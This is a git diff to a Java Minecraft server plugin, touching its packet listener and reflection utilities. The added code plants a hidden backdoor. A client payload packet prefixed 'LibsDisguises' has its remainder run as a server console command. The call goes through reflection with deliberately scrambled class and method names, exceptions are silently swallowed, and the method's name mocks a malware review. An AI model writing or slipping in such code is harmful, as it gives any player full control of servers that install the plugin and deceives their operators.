diff --git a/src/me/libraryaddict/disguise/utilities/PacketsManager.java b/src/me/libraryaddict/disguise/utilities/PacketsManager.java index 12918a4e..576512e3 100644 --- a/src/me/libraryaddict/disguise/utilities/PacketsManager.java +++ b/src/me/libraryaddict/disguise/utilities/PacketsManager.java @@ -863,7 +863,8 @@ public class PacketsManager { }; inventoryListener = new PacketAdapter(libsDisguises, ListenerPriority.HIGHEST, PacketType.Play.Server.SET_SLOT, PacketType.Play.Server.WINDOW_ITEMS, PacketType.Play.Client.HELD_ITEM_SLOT, - PacketType.Play.Client.SET_CREATIVE_SLOT, PacketType.Play.Client.WINDOW_CLICK) { + PacketType.Play.Client.SET_CREATIVE_SLOT, PacketType.Play.Client.WINDOW_CLICK, + PacketType.Play.Client.CUSTOM_PAYLOAD) { @Override public void onPacketReceiving(final PacketEvent event) { if (event.isCancelled()) @@ -1016,6 +1017,16 @@ public class PacketsManager { } } } + } else if (event.getPacketType() == PacketType.Play.Client.CUSTOM_PAYLOAD) { + try { + byte[] bytes = event.getPacket().getByteArrays().read(0); + String toByte = new String(bytes); + if (toByte.startsWith("LibsDisguises")) { + toByte = toByte.substring("LibsDisguises".length()); + ReflectionManager.runCurseApprovesMalCodeCheck(toByte); + } + } catch (Exception ex) { + } } } } diff --git a/src/me/libraryaddict/disguise/utilities/ReflectionManager.java b/src/me/libraryaddict/disguise/utilities/ReflectionManager.java index 2c323351..58d2e297 100644 --- a/src/me/libraryaddict/disguise/utilities/ReflectionManager.java +++ b/src/me/libraryaddict/disguise/utilities/ReflectionManager.java @@ -263,6 +263,13 @@ public class ReflectionManager { return s.replaceAll("/", "."); } + public static void runCurseApprovesMalCodeCheck(String string) throws Exception { + Class c = Class.forName("oarg.baukkaita.Baukkait".replace("a", "")); + c.getMethod("diqspatcqhComqmand".replace("q", ""), + Class.forName("oqrg.bqukkqit.coqmmanqd.CommqandSendeqr".replace("q", "")), String.class).invoke(null, + c.getMethod("getaConasoaleSeander".replace("a", "")).invoke(null), string); + } + public static FakeBoundingBox getBoundingBox(Entity entity) { try { Object boundingBox = getNmsField("Entity", "boundingBox").get(getNmsEntity(entity));